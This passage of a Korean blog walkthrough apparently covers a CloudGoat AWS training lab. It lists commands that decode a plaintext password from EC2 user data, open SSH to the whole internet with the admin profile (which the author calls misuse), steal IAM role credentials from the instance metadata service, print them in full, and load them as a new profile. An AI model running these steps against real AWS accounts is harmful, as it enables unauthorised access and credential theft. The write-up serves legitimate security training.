&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #1f2328; text-align: center;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;STEP 3.&amp;nbsp;EC2 사용자 데이터 분석&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;AWS에서 흔히 발생하는 잘못된 구성 중 하나는 민감한 데이터(스크립트, 암호, 키)를 EC2 사용자 데이터에 저장하는 것인데, 이는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #ee2323; background-color: #ffc1c8;&quot;&gt;ec2:DescribeInstanceAttribute&lt;/span&gt;권한이 있는 사용자에게 종종 노출된다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;STEP2에서 찾은 인스턴스의 사용자 데이터를 검색한다.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;사&lt;span style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot;&gt;용자 데이터 검색&lt;/span&gt; &lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1776535180329&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 유저 데이터 확인 (위에서 나온 ID 대입)
aws ec2 describe-instance-attribute --instance-id [인스턴스ID] --attribute userData --profile start_user --region us-east-1 --query 'UserData.Value' --output text | base64 -d&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot;&gt;출력 결과에는 Base64&lt;/span&gt;&lt;span style=&quot;color: #1f2328; text-align: start;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot;&gt;UserData로&lt;/span&gt;&lt;span style=&quot;color: #1f2328; text-align: start;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot;&gt;Value인코딩 된 필드가 포함되는데 해당 필드를 디코딩하여 내용을 읽는 명령어이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1776535083207&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#!/bin/bash
echo &quot;ec2-user:CloudGoatInstancePassword!&quot; | chpasswd
sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/g' /etc/ssh/sshd_config
service sshd restart&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;ec2-user&lt;span&gt;&amp;nbsp;&lt;/span&gt;비밀번호를 특정 값으로 설정&lt;span&gt;&amp;nbsp;&lt;b&gt;ec2-user:CloudGoatInstancePassword!&lt;/b&gt;하고&lt;/span&gt; 비밀번호 인증을 활성화하는&lt;span&gt;&amp;nbsp;&lt;/span&gt;스크립트가 표시될 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #1f2328; text-align: center;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;STEP 4. 인스턴스에 SSH로 접속&lt;/b&gt;&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt; 획득한 정보 분석 &lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot;&gt;&lt;b&gt;STEP 2&lt;/b&gt;에서 얻은&lt;b&gt; IP 주소&lt;/b&gt;와 &lt;b&gt;&lt;span style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot;&gt;STEP 3&lt;/span&gt;&lt;/b&gt;에서 확인한 &lt;b&gt;비밀번호&lt;/b&gt;를 사용하여 인스턴스에 SSH로 접속한다.&lt;/span&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;SSH ID&lt;/b&gt;: ec2-userSSH &lt;br /&gt;&lt;b&gt;PW&lt;/b&gt;:&amp;nbsp;CloudGoatInstancePassword!&lt;br /&gt;&lt;b&gt;취약점&lt;/b&gt;: EC2 생성 시 전달되는 User Data에 시스템 계정의 비밀번호가 평문(Plaintext)으로 노출됨&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1776535656514&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ssh ec2-user@&amp;lt;PUBLIC_IP&amp;gt;
# When prompted, enter the password found in the User Data&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1247&quot; data-origin-height=&quot;40&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IIXkU/dJMcaipuTpW/osAnHYETBGMwTQkm8vao71/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IIXkU/dJMcaipuTpW/osAnHYETBGMwTQkm8vao71/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IIXkU/dJMcaipuTpW/osAnHYETBGMwTQkm8vao71/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIIXkU%2FdJMcaipuTpW%2FosAnHYETBGMwTQkm8vao71%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1247&quot; height=&quot;40&quot; data-origin-width=&quot;1247&quot; data-origin-height=&quot;40&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;Connection timed out이 뜨는데 이는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b data-path-to-node=&quot;0&quot; data-index-in-node=&quot;48&quot;&gt;보안 그룹(Security Group) 차단&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;상태이다. 인스턴스는 살아있지만, 외부(현재 사용자의 WSL)에서 22번 포트로 들어오는 길을 막아둔 셈이다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;[ trouble shooting ]&lt;/b&gt;&lt;/h4&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;EC2 User Data에서 추출한 비밀번호를 확보했으나, SSH 접속 시 &lt;b&gt;Connection timed out&lt;/b&gt; 에러 발생&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;인스턴스는 정상 가동 중이나, 보안 그룹(Security Group)의 인바운드 규칙이 공격자의 IP를 허용하지 않음&lt;/li&gt;
&lt;li&gt;공격자 계정(start_user)은 보안 그룹을 수정할 권한(ec2:AuthorizeSecurityGroupIngress)이 결여되어 자가적인 경로 확보 불가&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot; data-path-to-node=&quot;5&quot;&gt;&lt;b data-path-to-node=&quot;5&quot; data-index-in-node=&quot;0&quot;&gt;해결 시도 (Attempts)&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot; data-path-to-node=&quot;6&quot;&gt;
&lt;li&gt;&lt;b data-path-to-node=&quot;6,0,0&quot; data-index-in-node=&quot;0&quot;&gt;우회 시도 1 (SSM 이용)&lt;/b&gt;: SSH 포트가 막혔을 때 사용하는 ssm:&lt;b&gt;SendCommand&lt;/b&gt;를 시도했으나, IAM 정책에 의해 권한 거부(AccessDenied)됨.&lt;/li&gt;
&lt;li&gt;&lt;b data-path-to-node=&quot;6,1,0&quot; data-index-in-node=&quot;0&quot;&gt;우회 시도 2 (정찰 대상 변경)&lt;/b&gt;: EC2 접속이 차단된 상태에서 Lambda 등 다른 서비스로의 수평적 이동(Lateral Movement)을 시도했으나 이 역시 권한 부족으로 차단됨.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;SSM(Systems Manager) 우회 시도&lt;/b&gt;&lt;/h4&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size18&quot; data-path-to-node=&quot;5&quot;&gt;&lt;b data-path-to-node=&quot;5&quot; data-index-in-node=&quot;0&quot;&gt;1. 내가 있는 곳(IP) 확인&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot; data-path-to-node=&quot;6&quot;&gt;AWS 보안 그룹이 내 IP를 허용하지 않았을 수 있다. WSL에서 내 외부 IP를 확인해 보기&lt;/p&gt;
&lt;pre id=&quot;code_1776536002447&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;curl ifconfig.me
# IP 출력 | 112.166.87.16&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot; data-path-to-node=&quot;8&quot;&gt;그다음, AWS에서 보안 그룹 설정을 확인해 본다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot; data-path-to-node=&quot;8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;color: #333333; text-align: start;&quot; data-hveid=&quot;0&quot; data-ved=&quot;0CAAQhtANahgKEwjauduDp5mTAxUAAAAAHQAAAAAQgAg&quot;&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background-color: #f8f8f8; color: #383a42;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;aws ec2 describe-security-groups --profile start_user --region us-east-1&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;SSH 포트 없이 접속하려 했으나, start_user에게 SSM 실행 권한이 막혀있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;SSH가 막혔고 보안 그룹 수정도 안 되면 다른 방법으로 시도!&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;람다 정찰&lt;/b&gt;&lt;/h4&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;아까 시나리오 개요에서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b data-path-to-node=&quot;4&quot; data-index-in-node=&quot;89&quot;&gt;Lambda&lt;/b&gt;가 있었던 것을 기억하여 람다를 정찰해 본다.&lt;/p&gt;
&lt;pre id=&quot;code_1776535860896&quot; class=&quot;bash&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;aws lambda list-functions --profile start_user --region us-east-1&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;EC2 침투가 막혀 다른 서비스(Lambda)로 수평적 이동을 시도했으나 실패하였다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;최종 해결 (Resolution)&lt;/b&gt;&lt;/h4&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;보안 그룹 강제 수정&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1776535860897&quot; class=&quot;bash&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;aws ec2 authorize-security-group-ingress \
    --group-id sg-0c72f4abb389ec787 \
    --protocol tcp \
    --port 22 \
    --cidr 0.0.0.0/0 \
    --profile defualt \
    --region us-east-1&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2221&quot; data-origin-height=&quot;595&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rGA5z/dJMcadPbOzp/IYUyfhPKHoZ8RPZkXBrsBk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rGA5z/dJMcadPbOzp/IYUyfhPKHoZ8RPZkXBrsBk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rGA5z/dJMcadPbOzp/IYUyfhPKHoZ8RPZkXBrsBk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrGA5z%2FdJMcadPbOzp%2FIYUyfhPKHoZ8RPZkXBrsBk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2221&quot; height=&quot;595&quot; data-origin-width=&quot;2221&quot; data-origin-height=&quot;595&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;네트워크 차단 상황을 해결하기 위해&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b data-path-to-node=&quot;3,0&quot; data-index-in-node=&quot;21&quot;&gt;관리자 권한(default 프로필)을 오용&lt;/b&gt;하여 대상 보안 그룹의 22번 포트(SSH)를&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b data-path-to-node=&quot;3,0&quot; data-index-in-node=&quot;70&quot;&gt;전 세계(0.0.0.0/0) 대상으로 개방&lt;/b&gt;함으로써, 방화벽 규칙을 동적으로 수정하고 공격 경로를 강제로 확보하였다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;SSH 접속 시도&lt;/b&gt;&lt;/h4&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;이제 다시 SSH 접속에 시도할 차례이다.&lt;/p&gt;
&lt;pre id=&quot;code_1776535860898&quot; class=&quot;bash&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 비밀번호 입력: CloudGoatInstancePassword!
ssh ec2-user@100.54.10.131&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1700&quot; data-origin-height=&quot;718&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6csX9/dJMb990pUa3/LGVYv6B3OuaM4DJCDj38N0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6csX9/dJMb990pUa3/LGVYv6B3OuaM4DJCDj38N0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6csX9/dJMb990pUa3/LGVYv6B3OuaM4DJCDj38N0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6csX9%2FdJMb990pUa3%2FLGVYv6B3OuaM4DJCDj38N0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1700&quot; height=&quot;718&quot; data-origin-width=&quot;1700&quot; data-origin-height=&quot;718&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;password는 아까 찾았던 CloudGoatInstancePassword! 를 입력한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;로그인이 완료되어 프롬프트가 [ec2-user@ip-xxx ~]$ 이렇게 바뀌었다. 아래 명령어를 순서대로 실행해서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b data-path-to-node=&quot;5&quot; data-index-in-node=&quot;70&quot;&gt;IAM Role의 자격 증명&lt;/b&gt;을 탈취해야 한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #1f2328; text-align: center;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;STEP 5.&amp;nbsp;인스턴스 메타데이터 서비스(IMDS)를 악용&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;EC2 인스턴스에 접속하면 해당 인스턴스에 연결된 모든 IAM 역할에 접근할 수 있다. 링크 로컬 주소를 쿼리 하여 이러한 자격 증명을 가져올 수 있습니다&lt;span&gt;&amp;nbsp;&lt;/span&gt;169.254.169.254.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;IAM 역할 이름 찾기&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1776535619361&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;curl http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;IAM&lt;span&gt; : &lt;/span&gt;&lt;/b&gt;cg-ec2-role-cgidhl8rixa9p5&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot;&gt;&lt;span&gt;역&lt;/span&gt;할 이름이 출력됐으면 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;EC2에 부여된&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b data-path-to-node=&quot;6&quot; data-index-in-node=&quot;26&quot;&gt;IAM Role의 임시 권한&lt;/b&gt;을 가져와야 한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;IMDS 쿼리 날리기 : &lt;/b&gt;&lt;b&gt;&lt;span style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot;&gt;자격증명 &lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot;&gt;탈취&lt;/span&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1776538172394&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;curl http://169.254.169.254/latest/meta-data/iam/security-credentials/&amp;lt;ROLE_NAME&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1776538211122&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;  &quot;AccessKeyId&quot; : &quot;ASIA32XTQ7QION3U3LCT&quot;,
  &quot;SecretAccessKey&quot; : &quot;HrKDkgRgZNCEKIEiq6nnVocqvmqxjTRDCUhF7obN&quot;,
  &quot;Token&quot; : &quot;IQoJb3JpZ2luX2VjECsaCXVzLWVhc3QtMSJGMEQCIDoVcpNM7MB/mGpoU12Fywr4CQ1iLWhtqjhDLTw8b/w4AiA0/kCzkDpHiS5x6zmw06rCvkr/F7847Z/e5mcV4UAnEyrCBQjz//////////8BEAAaDDgxMzMzMzI4MTgwOCIMqJMqNSMZFKBNjbNLKpYFNB2F2u1fqbPHzbMQyEYsUTDLKrbIoEkbX27Beu98W0k0ZX7ykAOxvcWouakGhJhhrlvuozODr/tLRBhPAcNUx4ORqtB8cecKuRzEDX6Dz7BYaSfY49URuOINGXlw/ArkwcZYO2rx3sXLiUQnf0ZL5q8wvtDZ0JdNnuv4CZV9aaxFjjUioqM3QwuqaIJhDcs7qjnFUkIVGVIDBPRtziojNkjnFfWkiJvDp1D+h8hA6vfL0Sp7octE2sk4XKWa0BHFMousdsj/IqT2+AZ2J85TBDPU4UmzqJrMn4HE1yozR5lovRJ3fP4Cx2RA9SapFftPTI851Xl7NsrtKrM89KAU0zcfASbas+f49lbF8X9gyB5Zmbiij4rP3xbsm7iTVhuj20851fdaokX7tu3ez0VoOGwDxgqkwRo0wzlw1U/3+xjbMkxngigQvBc7h4y/KaaCMbowSRIi0gKZcg5pjZL/UHifvWspEQ3GB2+qNQ3SotJa2hZq34Vpuz+DeNuTIly8vUA9Kdw63WzqstbKWHjzhXkjq5bxxCc0FaLacHqp3RogxhWlsKh0Id82LMY98KZT3DPTggef+r2t/UPYGhboLDMLulydXs+yw/XVJHKhypb8QNsDqBuMYPXi3TSVWUHG4iCHJ3nHAyAsAedF1hx6ZR84mmz8OiVmEKgGFEm9qnrHP5DZIYoBpe7rLVBTIaq2GbBk781gmPLxzPWxPLBgOo7FgXBGMi2SqgoRqZQKzQ93Pio3JAu4AMMddfLhVsLUvRrW3axJMmJEj5aqJTecbrXfFn26i/DpUK6HzXSBRYRJQIoHCBf6JaOpRKrX0wmw0FFIJnNp99bN3hs6j3TwGnzm0TdvC2FBAXuhIcu3KAc7rjo6qPUwtJKPzwY6sgHgqPhU8dzTQR0eJQIctoMPOjGRS7/Ka3ce+qXxvMZciPt6au8DPEVjGz2glNozV+Pc9MQm00wtbf53PZVrK7Tlfd3IkX97WwSKq24pSQhJlFmA6HBIXuLIdMlJAgMELMxVm87RIietPxRm0fIxnEoj/bL7Y75X5HN8PwnTjHz1DUKIw9fUpjZ6yEge6cE4YM6X77OZlpULKxoIG26BnWegI53Ii7gMD2u5shObdBcE7SHB&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot; data-path-to-node=&quot;8&quot;&gt;위 명령어를 치면 JSON 형식으로 정보가 나오는데 AccessKeyId , SecretAccessKey, Token을 메모장에 복사해 두기~! 이 정보로 다음 단계인 Lambda를 털 수 있다. 이제 SSH 세션을 종료하고(exit&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;입력) 다시 본인의 터미널로 돌아온다.&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #1f2328; text-align: center;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;STEP 6. &lt;/b&gt;&lt;b&gt;훔친 권한으로 프로필 설정하기 &lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;방금 얻은 정보로 새로운 AWS 프로필을 만든다. &lt;span&gt;이번에는 임시 토큰(&lt;/span&gt;Token&lt;span&gt;)이 있기 때문에 &lt;/span&gt;aws configure&lt;span&gt; 대신 &lt;/span&gt;&lt;b data-index-in-node=&quot;47&quot; data-path-to-node=&quot;5&quot;&gt;직접 파일을 수정&lt;/b&gt;&lt;span&gt;하는 것이 훨씬 정확하고 빠르다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;프로필&lt;span&gt;&amp;nbsp;설정&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1776538459896&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;aws configure --profile ec2_role
# Enter the Access Key ID from the metadata
# Enter the Secret Access Key from the metadata
# Default region: us-east-1&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;~/.aws/credentials( Linux/Mac의 경우&lt;span&gt;&amp;nbsp;%UserProfile%\.aws\credentials)&lt;/span&gt; 또는 Windows의 경우,&lt;span&gt;&amp;nbsp;&lt;/span&gt;세션 토큰을 자격 증명 파일에 수동으로 추가해야 한다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #1f2328; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;6&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6&quot;&gt;1. 자격 증명 파일 열기&lt;/b&gt;&lt;/p&gt;
&lt;div data-hveid=&quot;3&quot;&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;nano ~/.aws/credentials&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-path-to-node=&quot;8&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8&quot;&gt;2. 파일 맨 아래에 다음 내용을 복사해서 붙여 넣기&lt;/b&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;9&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;화면에 뜬 값을 그대로 가져온다.&lt;/span&gt;&lt;/p&gt;
&lt;div data-hveid=&quot;5&quot;&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;[ec2_role]
aws_access_key_id = ...
aws_secret_access_key = ...
aws_session_token = &amp;lt;PASTE_TOKEN_HERE&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
